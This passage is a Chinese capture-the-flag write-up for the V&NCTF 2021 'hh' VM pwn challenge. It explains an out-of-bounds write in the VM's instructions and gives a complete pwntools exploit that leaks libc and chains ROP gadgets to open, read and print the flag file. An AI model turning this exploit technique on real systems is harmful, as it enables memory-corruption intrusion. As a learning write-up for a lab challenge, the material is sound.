V&NCTF 2021 hh (vmpwn)

vm

这道题就是弄了一个vm,然后根据输入的code, 执行相应的操作

我的理解是 相当于在函数栈里伪造一个虚拟栈,又伪造了栈顶指针,然后在这个虚拟栈里你可以进行一些操作,如add(将栈顶两个元素相加),push,pop等,然后有时候由于检验不当,就会造成越界,导致原本操作只是在虚拟栈里变成了可以影响实际函数栈的数据,相当于可以劫持RBP,RET,如果能做到这一步,接下来就是常规的ROP了

这是add指令,stack[r_sp+1000]就相当于栈顶

image-20210317205240286

push指令更好理解

image-20210317205437489

注意到下面这两处

image-20210317205812460

这两个指令意思相差不多,都可以越界写,我们以第一个指令为例子

这里的 v31 = buf[buf_index] ,而buf[buf_index]是我们自己控制的,也就相当于我们可以控制

stack[v31 +999]指向任意地址处,因为c语言中并不会对数组越界进行检查,我们大可以构造如stack[5000] 或者 stack[-5000],就可以通过算偏移得出stack[num]中的num(stack一个元素为四个字节大小),然后stack[r_sp + 1000] 是栈顶数据,我们可以通过push指令给它赋任意值

综上,我们就可以往任意地址写任意数据,通过调试我们就可以得到实际函数栈中的RET地址距stack[]的偏移,从而我们可以覆盖RET,实现ROP,从而get shell或者orw

from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

#r = gdb.debug("./hh",'break main')
#r = process('./hh')
r = remote("node3.buuoj.cn", 27223)  
elf = ELF('./hh')
pop_rdi = 0x4011A3
main = 0x000000000401084
buf = 0x602060 
read = 0x0000000000400710 
pop_rsi_r15 = 0x0000000004011A1
puts_plt = 0x4006f0
puts_got = 0x601FA8
start = 0x400750

def code(cod):
    out1 = b''
    for i in cod:
        out1 += p32(i)
    return out1

def stack(buf):
    out2 = b''
    for i in range(len(buf)):
        out2 += code([ 9 , buf[i]&0xffffffff , 12 , i * 2 + 1007 , 9 , buf[i] >> 32 , 12 , i * 2 + 1008])
    return out2
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")

payload1 = stack([pop_rdi,puts_got,puts_plt,start])

r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recv()
libc_base = u64(r.recvline()[:-1].ljust(8, b'\x00')) - 	0x06f6a0
log.info(hex(libc_base))
open_addr = libc_base + 0xF70F0
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")

payload1 = code([6 , 4 , 0x67616c66, 0]) + stack([pop_rdi, buf+8 , open_addr ,start])

r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")

payload1 = stack([pop_rdi ,3 , pop_rsi_r15 , buf + 0x500 , 0 , read , start])

r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")

payload1 = stack([pop_rdi , buf + 0x500 , puts_plt , start])

r.send(payload1)
r.recvuntil("choice :")

r.sendline('2')
r.recv()
r.interactive()

脚本的重点是

def code(cod):
    out1 = b''
    for i in cod:
        out1 += p32(i)
    return out1

def stack(buf):
    out2 = b''
    for i in range(len(buf)):
        out2 += code([ 9 , buf[i]&0xffffffff , 12 , i * 2 + 1007 , 9 , buf[i] >> 32 , 12 , i * 2 + 1008])
    return out2

stack函数中的1007就是调试出来的偏移,9是push指令,12是越界写,由于一次只能写4字节,所以得分两次写

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值